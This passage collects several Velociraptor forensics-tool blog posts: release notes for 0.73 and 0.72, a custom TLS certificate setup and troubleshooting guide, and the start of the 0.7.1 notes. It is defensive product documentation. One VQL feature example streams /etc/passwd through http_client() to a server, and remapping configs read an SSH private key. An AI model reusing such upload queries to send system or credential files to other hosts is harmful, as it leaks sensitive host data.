   insecure_network_trace_file: /tmp/trace.txt

Running the client will show the following log message:

[INFO] 2024-09-19T11:50:07Z Insecure Spying on network connections in /tmp/trace.txt

Make sure to disable this trace in production and only use it for debugging communications, as it does weaken the network security.

Velociraptor uses two layers of encryption - messages between client and server are encrypted using Velociraptor’s internal PKI scheme, and in addition, a HTTP over TLS connection is used to exchange those messages.

This means that the trace file is still not really completely in plain text - it contains the encrypted messages in among the clear text HTTP messages.

However this should help debug issues around reverse proxies and MITM proxies in production.

New Server Functionality

Improve granularity of flow state reporting.

In previous versions, flows could only be in the RUNNING, FINISHED or ERROR states. When the user schedules a collection from an endpoint, the collection is in the RUNNING state and when it is completed it is either in the FINISHED or ERROR state.

However, this has proved to be insufficient when things go wrong, leaving users wondering what is happening in cases where the client crashes or reboots, or even if it becomes unresponsive. In such cases sometimes flows remained stuck in the RUNNING state indefinitely, so it is not easy for users to re-launch them.

In this release, the Velociraptor client goes through more states:

When the collection is initially scheduled, it is in the Scheduled state and has the icon .
When the client checks in, the collection request is sent to the client, and the collection moves into the In Progess state .
The server will periodically check on the progress of the collection - if the server in unable to check for a period of time, the collection will now be marked as Unresponsive and have the icon.
If the client comes back online (for example after a restart), the server will query the client about the progress of in flight collections. The client can then confirm if these collections are not known, the collection will be marked as an Error with icon .

Previously, the server sent all outstanding requests to the client at the same time. This meant that if there were many hunts scheduled, all requests were delivered immediately. If the client subsequently timed out, crashed or disappeared from the network during execution, all requests were lost leaving flows in the hung RUNNING state indefinitely.

In this release the server only sends 2 requests simultaneously, waiting until they complete, before sending further requests. This means if the client reboots only the currently executing queries are lost, and further queries will continue once the client reconnects.

Collection status show finer granularity

Hunts can be tagged now.

Velociraptor enables powerful automation in everyday DFIR work. Some users start many hunts automatically via the API or VQL queries.

Over time there can be many hunts active simultaneously, and they can be used for multiple uses. In this release, the GUI’s hunt view is streamlined by enabling hunts to contains labels.

Hunts can now have Tags

Clicking on the hunt label in the table will automatically filter the table for that label. Hunt Labels are a way to group large numbers of hunts and clean up the display.

The Velociraptor GUI presents most data in tabular form. It is important that tables are easy to navigate and use. This release made a lot of updates to the table view.

Pagination changes

The navigation pager is now placed at the top of the table.

Velociraptor tables have been revamped

Filtering columns

If a filter term starts with ! it will now be excluded from the rows (i.e. a negative search term).

Resizing columns

Many tables have varying width columns. By default, Velociraptor will try to fit column width automatically to make them more readable, but sometimes it is necessary to manually adjust column widths for optimal viewing.

Columns can now be resized by dragging the right edge of a cell or header.

Columns can be resized by dragging their right edge

Column re-ordering

Column ordering usually depends on the VQL query that produces the table. However it is sometimes easier to reorder columns on an adhoc basis.

You can now reorder columns by dragging the column header and dropping it on the new position.

Columns can be reordered by drag and drop

Compact table view

Sometimes columns contain a lot of data taking up large vertical space. This makes it difficult to quickly review the table because the extra row height makes the table unable to fit in the screen vertically.

Collapsing columns make the table easier to view

Password encrypted ZIP files for VFS downloads.

Velociraptor is often used to fetch potentially malicious binaries from endpoints for further analysis. Users can schedule a collection from the endpoint and then download the binaries using the browser.

However, this can sometimes result in analyst workstations triggering virus scanners or other warnings as they download potential malware.

As in previous versions, the user can set a download password in their preferences. However, previously the password only applied to hunt or collection exports.

Setting password for downloads globally

In this release, the password setting also applies to individual file downloads such as the VFS

Downloads are password protected

Or the uploads tab in specific collections.

Individual file downloads can be password protected

Post-processing preservation artifacts

The Windows.KapeFiles.Targets artifact allows to collect many bulk forensic artifacts like registry hives etc. People often use it to collect offline collections for preservation of hosts.

Although best practice is to also collect parsing artifacts at the same time, sometimes this is left out (See Preserving Forensic Evidence for a full discussion. It is particularly problematic when using the offline collector to collect the Windows.KapeFiles.Targets artifact, because once the collection is imported back into Velociraptor there is no possibility or returning to the endpoint to collect other artifacts.

In this case the user needs to parse the collected raw files (for example collecting the $MFT then needing to apply Windows.NTFS.MFT to parse it).

In the new release, a notebook suggestion was added to Windows.KapeFiles.Targets to apply a remapping on the collection in such as way that some regular artifacts designed to run on the live system can work to some extent off the raw collection.

Let’s examine a typical workflow. I will begin by preparing an offline collector with the Windows.KapeFiles.Targets artifact configured to collect all event logs.

Building an offline collector

Once the collection is complete I receive a ZIP file containing all the collected files. I will now import it into Velociraptor.

Importing the offline collection

Since this is an offline client and not a real client, Velociraptor will create a new client id to contain the collections.

The imported collection looks just like any other collection

Of course we can not schedule new collections for the client because it is not a real client, but once imported, the offline collection appears as just another collection in the GUI.

Suppose now I wanted to use the Windows.Hayabusa.Rules artifact to triage the system according to the Hayabusa Sigma ruleset. Ordinarily, with a connected endpoint, I would just schedule a new collection on the endpoint and receive the triaged data in a few minutes.

However, this is not a real client since I used the offline collector to retrieve the event logs. I can not schedule new collections on it as easily (without preparing a new offline collector and manually running it on the endpoint).

Instead, the Windows.KapeFiles.Targets artifact now offers a VQL snippet as a notebook suggestion to post process the collection. I access this from the collection’s notebook.

Post processing the KapeFiles collection with a notebook suggestion

The new cell contains some template VQL. I can modify it to run other artifacts. In this case I will collect the Windows.Hayabusa.Rules artifact with all the rules (event noisy ones) and Windows.NTFS.MFT artifact.

Modifying VQL to run other artifacts

The post processing steps added a new distinct collection to the offline client, as if we collected it directly from the endpoint. However, the artifacts were collected from the triage files directly imported from the offline bundle.

A new distinct collection is added

Although this new workflow makes it more convenient to post process bulk file triage collections, note that this is not an ideal workflow for a number of reasons (for example parsing event logs on systems other than where they were written will result in a loss of some log messages).

It is always better to collect and parse the required artifacts directly from the endpoint (even in an offline collection) and not rely on bulk file collections.

Redesigned timelines

Timelines has been part of the Velociraptor GUI for a few releases now. In this release we have really expanded their functionality into a complete end to end timelining analysis tool.

The details of the new workflow are described in the Timelines in Velociraptor blog post, but below is a screenshot to illustrate the final product - an annotated timeline derived from analysis of multiple artifacts.

The complete timeline with annotations

Added Timesketch integration artifacts

In addition to an enhanced built in timelining feature, this release also features enhanced integration with Timesketch, a popular open source timelining tool. The details of the integration are also discussed in the blog post above, but here is a view of Timesketch with some Velociraptor timelines exported.

Viewing timelines in Timesketch

Client metadata fields can now be indexed and searched.

Velociraptor allows arbitrary key/value pairs to be added the Client record. We call this the Client Metadata. Previously the metadata could be set in the GUI but there was no way to search for it from the main search bar.

In this release client metadata can be searched directly in the search box. Additionally, the user can specify custom metadata fields in the configuration file to have all clients present this information.

Consider this example. I wanted to record maintain the department that each endpoint belongs to. I will add the following the server’s configuration file:

defaults:
  indexed_client_metadata:
    - department

This tells the server to index the client metadata field department. This allows the user to search all clients by department.

Indexed metadata fields exist on all clients. Additional non-indexed fields can be added by the user.

Client metadata fields can be indexed or free form

Enable a server artifact to specify an impersonation user.

Velociraptor’s user permission system ensures that only users that are granted certain permissions are able to carry out actions that require these permissions. For example, to launch an external binary on the server is a highly privileged permission (basically it gives a server shell). So the execve() plugin requires a special EXECVE permission to run. This is normally only given to administrators on the server.

If a user has a lower role (e.g. investigator) they are not able to shell out by calling the execve() VQL plugin in a notebook or a server artifact.

While this is what we want in most cases, sometimes we want to provide the low privileged user a mechanism for performing privileged operations in a safe manner. For example, say we want to allow the investigator user to call the timesketch CLI tool to upload some timelines. It clearly would not be appropriate to allow the investigator user to call any arbitrary programs, but it is probably ok to allow them to call the timesketch program selectively in a controlled way.

This idea is very similar to Linux’s SUID or Windows’s impersonation mechanisms - both mechanisms allow a low privileged user to run a program as another high privileged user, taking on their privileges for the duration of the task. The program itself controls access to the privileged commands by suitably filtering user input.

In the 0.73 release, server artifacts may specify that they will run with an impersonated user.

Consider the following artifact:

name: Server.Utils.StartHuntExample
type: SERVER
impersonate: admin
sources:
  - query: |
      -- This query will run with admin ACLs.
      SELECT hunt(
        description="A general hunt",
        artifacts='Generic.Client.Info')
      FROM scope()

This artifact launches a new hunt for the Generic.Client.Info artifact. Usually a user needs the START_HUNT permission to actually create a new hunt.

Ordinarily, if a user has the COLLECT_SERVER permission allowing them to collect server artifacts, they will be able to start this server artifact, but unless they also have the START_HUNT permission they will be unable to schedule the new hunt.

With the impersonate field, any user that is able to start collecting this artifact will be able to schedule a hunt.

This feature allows an administrator to carefully delegate higher privilege tasks to users with lower roles. This makes it easier to create users with lower levels of access and improves a least privilege permission model.

Conclusions

There are many more new features and bug fixes in the latest release.

How to use your own certificates to secure your Velociraptor deployment

Tue, 16 Jul 2024 00:00:00 +0000

This article was reproduced with permission from reliancecyber.com. It outlines some of the practical steps needed to deploy Velociraptor with custom certificates and some step by step troubleshooting steps that can be used to diagnose deployment issues.

Using DigiCert as the certificate Authority

Velociraptor is a robust open-source tool designed for endpoint monitoring and digital forensics and response.

Introduction

Velociraptor is a robust open-source tool designed for endpoint monitoring and digital forensics and response. Whether you deploy it on-premise or in the cloud, securing communication between the Velociraptor server and its clients is crucial. This blog post will guide you through creating and installing TLS certificates using DigiCert as your Certificate Authority (CA).

This guide has been written to provide additional guidance to the following official Velociraptor articles.

How do I use my own SSL certificates?

Velociraptor Security Configuration.

Prerequisites

Before getting started, ensure you have the following:

Domain name: Own or control a domain name, such as example.com.
Accessible Velociraptor server: Ensure your server is accessible via a domain name, e.g., DNS A record points to your Velociraptor server’s Public IP.
DigiCert account: A valid SSL certificate from DigiCert for your domain.
OpenSSL: Installed on your machine.

Creating the certificate files

You will need three key files for the Velociraptor server:

Velociraptor.pem: Contains the public certificate identifying your Velociraptor server.
your_domain_name.key: Contains the private key for your SSL certificate. Keep this file secure.
CA_chain.pem: Contains the certificate chain of your enterprise CA, including intermediate and root certificates.

DigiCert will provide the following files:

Private Key: your_domain_name.key
Primary Certificate: your_domain_name.crt
Intermediate Certificate: DigiCertCA.crt
Root Certificate: TrustedRoot.crt

For details on how to request your certificates How do I Order a TLS/SSL Certificate? | DigiCert FAQ

Creating Velociraptor.pem

To create the Velociraptor.pem file, you need to convert the Primary Certificate (your_domain_name.crt) file from CRT to PEM format.

Open a terminal and run the following command:

openssl x509 -in your_domain_name.crt -out velociraptor.pem -outform PEM

Verify the certificate details:

openssl x509 -in velociraptor.pem -text -noout

You should see the details of your certificate, such as the issuer, the subject, the validity period, and the public key.

Verifying the key file

Ensure the private key (your_domain_name.key) is in PEM format and decrypted. When viewed, the file should look like this:

-----BEGIN RSA PRIVATE KEY-----

    {base64 encoded data}

-----END RSA PRIVATE KEY-----

To verify that the key format is valid, run the following command:

openssl rsa -in your_domain_name.key -check

You should see RSA key ok.

Creating CA_chain.pem

To create the CA_chain.pem file, you need to combine the intermediate certificate (DigiCertCA.crt) and the root certificate (TrustedRoot.crt) into one file. This can be done by simply concatenating the two files using a text editor or a command line tool. For example, you can run the following command:

cat DigiCertCA.crt TrustedRoot.crt > CA_chain.pem

Ensure the order is correct: server certificate first, followed by intermediate certificates (you may have more than one), and finally the root certificate.

You should now have the following files in your cert folder:

Velociraptor.pem (contains only the server certificate)
your_domain_name.key (contains the unencrypted private key)
CA_chain.pem (contains the certificate chain of your enterprise CA)

Configuring Velociraptor

To enable TLS encryption for the Velociraptor server and client:

Generate a Self-Signed SSL Configuration:

./velociraptor-0.72.3-linux-amd64 config generate -i

Note: The version number may be different for the most recent release.

The velociraptor configuration generator screenshot

In this configuration I set frontend to communicate over port 443 as most firewalls in a network will allow this traffic outbound making it easier for the deployment of clients.

Update the Server Configuration:

To use your own Certificates, you need to update the server configuration file (server.config.yaml)

Locate the frontend section and add the tls_certificate_filename and tls_private_key_filename parameters (these are not included by default).
Enter the absolute path to these files. For testing, we placed them in /etc, but you may want to use a different location for production use.

Frontend:

  tls_certificate_filename: /etc/velociraptor.pem

  tls_private_key_filename: /etc/your_domain_key.key

Update the client configuration:

Note: if you have already exported a client.config.yaml, then you need to update the client section in both server.config.yaml configuration file and the client.config.yaml configuration file. Remember, the client configuration is embedded into the server configuration file, so you need to update it there as well.

In the client section, modify use_self_signed_ssl to be false. This will tell the client to use the CA certificate instead of the server certificate for verification.
Copy and paste the CA root and intermediate certificates (created in the CA_chain.pem file) to the root_certs parameter. This will allow the client to trust the CA certificate chain. For example:

use_self_signed_ssl: false
Crypto:
    root_certs: |
         -----BEGIN CERTIFICATE-----
         The Intermediate Certificate

         -----END CERTIFICATE-----

         -----BEGIN CERTIFICATE-----

            The Root Certificate

         -----END CERTIFICATE-----

As discussed in the certificate section, ensure that the intermediate and root certificates are in the correct order. The server certificate should come first, followed by any intermediate certs, and finally the root trusted authority certificate (if self-signed) for more information, please see https://www.rfc-editor.org/rfc/rfc4346#section-7.4.2

Testing the TLS Encryption

To verify the TLS encryption:

GUI: Launch the Velociraptor server and connect to the GUI using your web browser. You should be able to access the GUI using the new certificate. You may need to trust the certificate in your browser or system to prevent errors.
Frontend: Launch the Velociraptor client and check the logs for any errors. The client should connect securely to the server using the trusted CA chain and the new server certificate.
No changes need to be made to the pinned certificate name, nor do any certificates need to be modified in the configuration files.

Troubleshooting

Connection/certificate errors:

To validate that the certificates you are using are in the right format, you can use the command to diagnose issues:

openssl [x509|rsa] -in CERT_FILE -text -noout

If the certificates are in the right format and valid you should use curl to confirm connectivity by requesting the server.pem file from the velociraptor server (as detailed in Troubleshooting and Debugging).

Use curl from the server localhost

curl https://localhost/server.pem -vvv

Reason: This command tests the server’s ability to serve the certificate file (server.pem) over HTTPS from the local machine. Using the -vvv flag enables verbose output, providing detailed information about the connection process, including SSL/TLS handshake details. It helps to confirm that:

Local Server Configuration: The server is properly configured to handle HTTPS requests.
Certificate Availability: The certificate file is accessible and correctly served by the server.

Use curl from the server localhost allowing self-signed certificates

curl https://localhost/server.pem -vvv -k

Reason: This command includes the -k option, which allows connections to servers using self-signed certificates. It helps to:

Bypass SSL Verification: Ensure that the server can still serve the certificate even when SSL verification is bypassed. This is useful for testing purposes when using self-signed certificates.
Debugging: Identify issues related to SSL verification failures that might not be apparent when SSL verification is enforced.

Use curl from the localhost via DNS

curl https://www.example.com/server.pem -vvv

Reason: Running this command from the localhost but using the domain name tests:

DNS Resolution: Ensure that the domain name resolves correctly to the local server.
SSL/TLS Configuration: Confirm that the server is correctly serving the certificate over the domain name.

Use curl from a remote client

curl https://www.example.com/server.pem -vvv

Reason: This command tests the following from a remote client (a different machine than the server):

External Connectivity: Ensure that the server is accessible over the internet or network and that there are no firewall or network issues preventing access.
SSL/TLS Configuration: Confirm that the SSL/TLS setup is correct and the server is properly serving the certificate to external clients.
Certificate Acceptance: Verify that the client can accept and validate the certificate, ensuring the trust chain is correctly established.

These steps validate the entire communication path, from local server configuration to remote client connectivity.

Proxy Errors:

A proxy or SSL inspection device is a network device that inspects and modifies the traffic between the client and the server. Sometimes these devices can cause problems, especially if they are not configured properly or are incompatible with the server’s TLS version or cipher suite.

One possible error is this Server reports:

http: TLS handshake error from XX.XX.XX.XX: :22439 read tcp XX.XX.XX.XX:443-> XX.XX.XX.XX:22439: read: connection reset by peer

This means the server-client TLS connection was interrupted. This could be due to network issues, firewall settings, or expired certificates.

Another possible error reported by the client:

wsarecv: An existing connection was forcibly closed by the remote host.

This means the server or something in between closed the connection abruptly. This could be due to server overload, crash, or shutdown, or a proxy or SSL inspection device that interferes with the connection.

To check if there is a proxy or SSL inspection device that is causing the connection errors, run this command:

curl https[://]server.com/server.pem -vvv

This command tries to download the server’s certificate file using curl. If the command succeeds, there is no proxy or SSL inspection device that is blocking or altering the connection. If the command fails or idles, there is something in between that is preventing or delaying the connection.

If you suspect that there is a proxy or SSL inspection device that is causing the connection errors, try these solutions:

Review the configurations of the proxy or SSL inspection device and make sure they are compatible with the server’s TLS version and cipher suite. You can use tools like SSL Labs or TestSSL to check the server’s TLS configuration and compare it with the proxy or SSL inspection device.
Disable or bypass the proxy or SSL inspection device temporarily and see if the connection errors go away. This can help you isolate the problem and confirm that the proxy or SSL inspection device is the culprit.
Contact the administrator or vendor of the proxy or SSL inspection device and ask for help or guidance on how to resolve the issue. They might have some tips or updates that can fix the problem.

For full details on troubleshooting or for any other debugging issues, please see Troubleshooting and Debugging

About the author

Picture of Chris Hayes - Head of IR

Chris Hayes, Head of Incident Response at Reliance Cyber

Chris possesses over 10 years of experience across a series of Cyber roles within both the private public sector. As ex-military, Chris has responded to some of the largest and most high-profile cyber-attacks in addition to tracking sophisticated nation state threat actor groups.

Velociraptor 0.72 Release

Sun, 10 Mar 2024 00:00:00 +0000

I am very excited to announce that the latest Velociraptor release 0.72 is now available. You can also watch a video walkthrough of this post here https://www.youtube.com/watch?v=FwmFYmTQxeA

In this post I will discuss some of the interesting new features.

Version scheme update

Traditionally Velociraptor followed the GRR version format and that has 4 numbers - so we had 0.6.5 and then if we needed to do a patch release we would do 0.6.5-1 etc.

It turns out this is not compatible with Semantic Versioning exactly which needs to have exactly 3 versions: a MAJOR version, a MINOR version and a PATCH version. This causes problems with packaging systems which expect semantic versioning like that for example RPM, DEB or MSI. We also use Semantic Versioning internally to compare versions (for example to determine if we should upgrade a Tool definition )

So in this release we are taking the brave step of conforming with Semantic Versioning more correctly and officially dropping the second dot to have a MAJOR version of 0, a MINOR version of 72 and then PATCH releases after that (starting with 0).

That means our next version will be 0.72.0 and if we need to release patches after the release it will be 0.72.1 , 0.72.2 etc.

EWF Support

Velociraptor has introduced the ability to analyze dead disk images in the past. Although we don’t need to analyze disk images very often, the need comes up occasionally.

While previously Velociraptor only supported analysis of DD images (AKA “Raw images”). Most people use a standard acquisition software to acquire the image which uses the common EWF format to compress the image.

In this release, Velociraptor supports EWF (AKA E01) format using the ewf accessor. This allows Velociraptor to analyze E01 image sets.

To analyse dead disk images use the following steps:

Create a remapping configuration that maps the disk accessors into the E01 image. This automatically diverts VQL functions that look at the filesystem into the image instead of using the host’s filesystem. In this release you can just point the --add_windows_disk option to the first disk of the EWF disk set (the other parts are expected to be in the same directory and will be automatically loaded).

The following creates a remapping file by recognizing the windows partition in the disk image.
```
$ velociraptor-v0.72-rc1-linux-amd64  deaddisk \
   --add_windows_disk=/tmp/e01/image.E01 /tmp/remapping.yaml -v
```
Next we launch a client with the remapping file. This causes any VQL queries that access the filesystem to come from the image instead of the host. Other than that the client looks like a regular client and will connect to the Velociraptor server just like any other client. To ensure that this client is unique you can override the writeback location (where the client id is stored) to a new file.
```
$ velociraptor-v0.72-rc1-linux-amd64  --remap /tmp/remapping.yaml \
   --config ~/client.config.yaml client -v \
   --config.client-writeback-linux=/tmp/remapping.writeback.yaml
```

Allow remapping clients to use SSH accessor

Sometimes we can not deploy the Velociraptor client on a remote system. For example, it might be an edge device like an embedded Linux system or it may not be directly supported by Velociraptor.

In 0.7.1, Velociraptor introduced the ssh accessor which allows VQL queries to use a remote ssh connection to access remote files.

This release added the ability to apply remapping in a similar way to the dead disk image method above to run a Virtual Client which connects to the remote system via SSH and emulates filesystem access over the sftp protocol.

To use this feature you can write a remapping file that maps the ssh accessor instead of the file and auto accessors:

remappings:
- type: permissions
  permissions:
  - COLLECT_CLIENT
  - FILESYSTEM_READ
  - READ_RESULTS
  - MACHINE_STATE
- type: impersonation
  os: linux
  hostname: RemoteSSH
- type: mount
  scope: |
    LET SSH_CONFIG <= dict(hostname='localhost:22',
      username='test',
      private_key=read_file(filename='/home/test/.ssh/id_rsa'))

  from:
    accessor: ssh

  "on":
    accessor: auto
    path_type: linux

- type: mount
  scope: |
    LET SSH_CONFIG <= dict(hostname='localhost:22',
      username='test',
      private_key=read_file(filename='/home/test/.ssh/id_rsa'))

  from:
    accessor: ssh

  "on":
    accessor: file
    path_type: linux

Now you can start a client with this remapping file to virtualize access to the remote system via SSH.

$ velociraptor-v0.72-rc1-linux-amd64  --remap /tmp/remap_ssh.yaml \
   --config client.config.yaml client -v \
   --config.client-writeback-linux=/tmp/remapping.writeback_ssh.yaml \
   --config.client-local-buffer-disk-size=0

GUI Changes

The GUI has been improved in this release.

Inbuilt Stacking support

One very common task in DFIR is stacking. This is a powerful technique to quickly understand what had happened on the endpoint and what is normal (and by extension unusual) on an endpoint.

While Velociraptor has always been able to do stacking within a post processing notebook by using the GROUP BY VQL operator to count the number of occurrences broken by category. When the user wanted to actually see all those items, they needed to run a second VQL query to filter only those items. This made it cumbersome and inefficient to review large numbers of groups.

In the latest release, stacking is built right into the GUI for fast and efficient operation. I will demonstrate how to use it with the example of the Velociraptor Sigma artifacts.

For this example, assume I approach a new endpoint and I really don’t know where to start - is this a suspicious endpoint? Is it normal?

First I will import the Sigma artifacts into my server. The Velociraptor Sigma project maintains this artifact at https://sigma.velocidex.com

Importing the Sigma artifacts

I will import the Velociraptor Hayabusa Ruleset which allows me to apply the rules maintained by the Hayabusa project to static event log files on the endpoint. The ruleset is extensive and rules are broken down by rule level and rule status. However in this case I want to try out all the rules - including very noisy ones because I want to get an overview of what might have happened on this endpoint.

Collecting the sigma artifact

Generally it is impractical to review every single hit, so we typically rely on Stacking the results using a query like

SELECT *, count() AS Count
FROM source(artifact="Windows.Hayabusa.Rules")
GROUP BY Title ORDER BY Count DESC

Stacking rules by title

We immediately see that almost half the rules are triggered by informational DNS queries, but if we wanted to look at those we would have to issue another query

SELECT *
FROM source(artifact="Windows.Hayabusa.Rules")
WHERE Title =~ "DNS Query"

In this release, stacking is built directly into the GUI making it a lot easier to work with. The way this works is by performing the stacking operation at the same time as sorting a column.

I will stack by Title by clicking the sort icon at the top of the column

Stacking rules by title

Viewing the stacking stats

Using this technique I can quickly review the most interesting rules and their corresponding hits directly in the GUI without needing to recalculate anything.

Undo/Redo for notebook cells

Velociraptor offers an easy way to experiment and explore data with VQL queries in the notebook interface. Naturally exploring the data requires going back and forth between different VQL queries.

In this release, Velociraptor keeps several versions of each VQL cell (by default 5) so as users explore different queries they can easily undo and redo queries. This makes exploring data much quicker as you can go back to a previous version instantly.

Hunt view GUI is now paged

Previously hunts were presented in a table with limited size. In this release, the hunt table is paged and searchable/sortable. This brings the hunts table into line with the other tables in the interface and allows an unlimited number of hunts to be viewable in the system.

Secret Management

Many Velociraptor plugins require secrets to operate. For example, the ssh accessor requires a private key or password to log into the remote system. Similarly the s3 or smb accessors requires credentials to upload to the remote file servers. Many connections made over the http_client() plugin require authorization - for example an API key to send Slack messages or query remote services like Virus Total.

Previously plugins that required credentials needed those credentials to be passed as arguments to the plugin. For example, the upload_s3() plugin requires AWS S3 credentials to be passed in as parameters.

This poses a problem for the Velociraptor artifact writer - how to safely provide the credentials to the VQL query in a way that does not expose them to every user of the Velociraptor GUI? If the credentials are passed as parameters to the artifact then they are visible in the query logs and request etc.

This release introduces Secrets as a first class concept within VQL. A Secret is a specific data object (key/value pairs) given a name which is used to configure credentials for certain plugins:

A Secret has a name which we use to refer to it in plugins.
Secrets have a type to ensure their data makes sense to the intended plugin. For example a secret needs certain fields for consumption by the s3 accessor or the http_client() plugin.
Secrets are shared with certain users (or are public). This controls who can use the secret within the GUI.
The GUI is careful to not allow VQL to read the secrets directly. The secrets are used by the VQL plugins internally and are not exposed to VQL users (like notebooks or artifacts).

Let’s work through an example of how Secrets can be managed within Velociraptor. In this example we store credentials for the ssh accessor to allow users to glob() a remote filesystem within the notebook.

First I will select manage server secrets from the welcome page.

Next I will choose the SSH PrivateKey secret type and add a new secret.

This will use the secret template that corresponds to the SSH private keys. The acceptable fields are shown in the GUI and a validation VQL condition is also shown for the GUI to ensure that the secret is properly populated. I will name the secret DevMachine to remind me that this secret allows access to my development system. Note that the hostname requires both the IP address (or dns name) and the port.

Next I will share the secrets with some GUI users

I can view the list of users that are able to use the secret within the GUI

Now I can use the new secret by simply referring to it by name:

Not only is this more secure but it is also more convenient since we don’t need to remember the details of each secret to be able to use it. For example, the http_client() plugin will fill the URL field, headers, cookies etc directly from the secret without us needing to bother with the details.

Although secrets are designed to control access to the raw credential by preventing users from directly accessing the secrets' contents, those secrets are still written to disk. This means that GUI users with direct filesystem access can simply read the secrets from the disk.

We recommend not granting untrusted users elevated server permissions like EXECVE or Filesystem Read as it can bypass the security measures placed on secrets.

Server improvements

Implemented Websocket based communication mechanism

One of the most important differences between Velociraptor and some older remote DFIR frameworks such as GRR is the fact that Velociraptor maintains a constant, low latency connection to the server. This allows Velociraptor clients to respond immediately without needing to wait for polling on the server.

In order to enhance compatibility between multiple network configurations, like MITM proxies, transparent proxies etc, Velociraptor has stuck to simple HTTP based communications protocols. To keep a constant connection, Velociraptor uses the long poll method, keeping HTTP POST operations open for a long time.

However as the Internet evolves and newer protocols become commonly used by major sites, the older HTTP based communication method has proved more difficult to use. For example, we found that certain layer 7 load balancers interfere with the long poll method by introducing buffering to the connection. This severely degrades communications between client and server (Velociraptor falls back to a polling method in this case).

On the other hand, modern protocols are more widely used, so we found that modern load balancers and proxies already support standard low latency communications protocol such as Web Sockets.

In this release, Velociraptor introduces support for websockets as a communications protocol. The websocket protocol is designed for low latency and low overhead continuous communications method between clients and server (and is already used by e.g. most major social media platforms). Therefore, this new method should be better supported by network infrastructure as well as being more efficient.

To use the new websocket protocol, simply set the client’s server URL to have wss:// scheme:

Client:
  server_urls:
  - wss://velociraptor.example.com:8000/
  - https://velociraptor.example.com:8000/

You can use both https and wss URLs at the same time, Velociraptor will switch from one to the other scheme if one becomes unavailable.

Dynamic DNS providers

Velociraptor has the capability to adjust DNS records by itself (AKA Dynamic DNS). This saves users the hassle of managing a dedicated dynamic DNS service such as ddclient).

Traditionally we used Google Domains as our default Dynamic DNS provider, but Google has decided to shut down this service abruptly forcing us to switch to alternative providers.

The 0.72 release has now switched to Cloudflare as our default preferred Dynamic DNS provider. We also added noip.com as a second option.

Setting up Cloudflare as your preferred dynamic DNS provider requires the following steps:

Sign into Cloudflare and buy a domain name.
go to https://dash.cloudflare.com/profile/api-tokens to generate an API token. Select Edit Zone DNS in the API Token templates.

You will require the “Edit” permission on Zone DNS and include the specific zone name you want to manage. The zone name is the domain you purchased for example “example.com”. You will be able to set the hostname under that domain, e.g. “velociraptor.example.com”

Using this information you can now create the dyndns configuration:

Frontend:
  ....
  dyn_dns:
    type: cloudflare
    api_token: XXXYYYZZZ
    zone_name: example.com

Make sure the Frontend.Hostname field is set to the correct hostname to update - for example

Frontend:
  hostname: velociraptor.example.com

This is the hostname that will be updated.

Enhanced proxy support

Velociraptor is often deployed into complex enterprise networks. Such networks are often locked down with complicated controls (such as MITM inspection proxies or automated proxy configurations) which Velociraptor needs to support.

Velociraptor already supports MITM proxies but previously had inflexible proxy configuration. The proxy could be set or unset but there was no finer grained control over which proxy to choose for different URLs. This makes it difficult to deploy on changing network topologies (such as roaming use).

The 0.72 release introduces more complex proxy condition capabilities. It is now possible to specify which proxy to use for which URL based on a set of regular expressions:

Client:
  proxy_config:
    http: http://192.168.1.1:3128/
    proxy_url_regexp:
      "^https://www.google.com/": ""
      "^https://.+example.com": "https://proxy.example.com:3128/"

The above configuration means to:

By default connect to http://192.168.1.1:3128/ for all URLs (including https)
Except for www.google.com which will be connecting to directly.
Any URLs in the example.com domain will be forwarded through https://proxy.example.com:3128

This proxy configuration can apply to the Client section or the Frontend section to control the server’s configuration.

Additionally, Velociraptor now supports a Proxy Auto Configuration (PAC) file. If a PAC file is specified, then the other configuration directives are ignored and all configuration comes from the PAC file. The PAC file can also be read from disk using the file:// URL scheme, or even provided within the configuration file using a data: URL.

Client:
  proxy_config:
    pac: http://www.example.com/wpad.dat

Note that the PAC file must obviously be accessible without a proxy.

Automated backups

Velociraptor maintains some critical metadata in various files. In this release we implemented an automated backup and restore framework. This framework is able to backup some critical parts of the server using the VQL plugins backup() and backup_restore(), as well as periodically (by default daily).

Backup all users and ACLs
Backup all hunt metadata
Backup client metadata including labels, and other metadata.

Other notable features

Other interesting improvements include

Process memory access on MacOS

On MacOS we can now use proc_yara() to scan process memory. This should work providing your TCT profile grant the get-task-allow, proc_info-allow and task_for_pid-allow entitlements. For example the following plist is needed at a minimum:

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>com.apple.springboard.debugapplications</key>
    <true/>
    <key>get-task-allow</key>
    <true/>
    <key>proc_info-allow</key>
    <true/>
    <key>task_for_pid-allow</key>
    <true/>
</dict>
</plist>

Multipart uploaders to http_client()

Sometimes servers requires uploaded files to be encoded using the mutipart/form method. Previously it was possible to upload files using the http_client() plugin by constructing the relevant request in pure VQL string building operations.

However this approach is limited by available memory and is not suitable for larger files. It is also non-intuitive for users.

This release adds the files parameter to the http_client() plugin. This simplifies uploading multiple files and automatically streams those files without memory buffering - allowing very large files to be uploaded this way.

For example:

SELECT *
FROM http_client(
  url='http://localhost:8002/test/',
  method='POST',
  files=dict(file='file.txt', key='file', path='/etc/passwd', accessor="file")
)

Here the files can be an array of dicts with the following fields:

file: The name of the file that will be stored on the server
key: The name of the form element that will receive the file
path: This is an OSPath object that we open and stream into the form.
accessor: Any accessor required for the path.

Yara plugin can now accept compiled rules

The yara() plugin was upgraded to use Yara Version 4.5.0 as well as support compiled yara rules. You can compile yara rules with the yarac compiler to produce a binary rule file. Simply pass the compiled binary data to the yara() plugin’s rules parameter.

We do not recommend using compiled yara rule because of their practical limitations:

The compiled rules can not portable and must be used on exactly the same version of the yara library as the compiler that created them (Currently 4.5.0)
Compiled yara rules are much larger than the text rules.

Compiled yara rules pose no benefit over text based rules, except perhaps being more complex to decompile. This is primarily the reason to use compiled rules - to try to hide the rules (e.g. from commercial reasons).

The Registry Hunter is launched

This release also introduces the Registry Hunter project - a unified streamlined way to hunt for forensically relevant information through the windows registry.

You can read more about The registry hunter in our blog post.

Conclusions

There are many more new features and bug fixes in the latest release.

Velociraptor 0.7.1 Release

Wed, 15 Nov 2023 00:00:00 +0000

I am very excited to announce that the latest Velociraptor release 0.7.1 is now LIVE!

In this post I will discuss some of the interesting new features.

GUI improvements

The GUI was updated in this release to improve user workflow and accessibility.

Notebook improvements

Velociraptor uses notebooks extensively to facilitate collaboration, and post processing. There are currently three types of notebooks:

Global Notebooks - these are available from the GUI sidebar and can be shared with other users for a collaborative workflow.
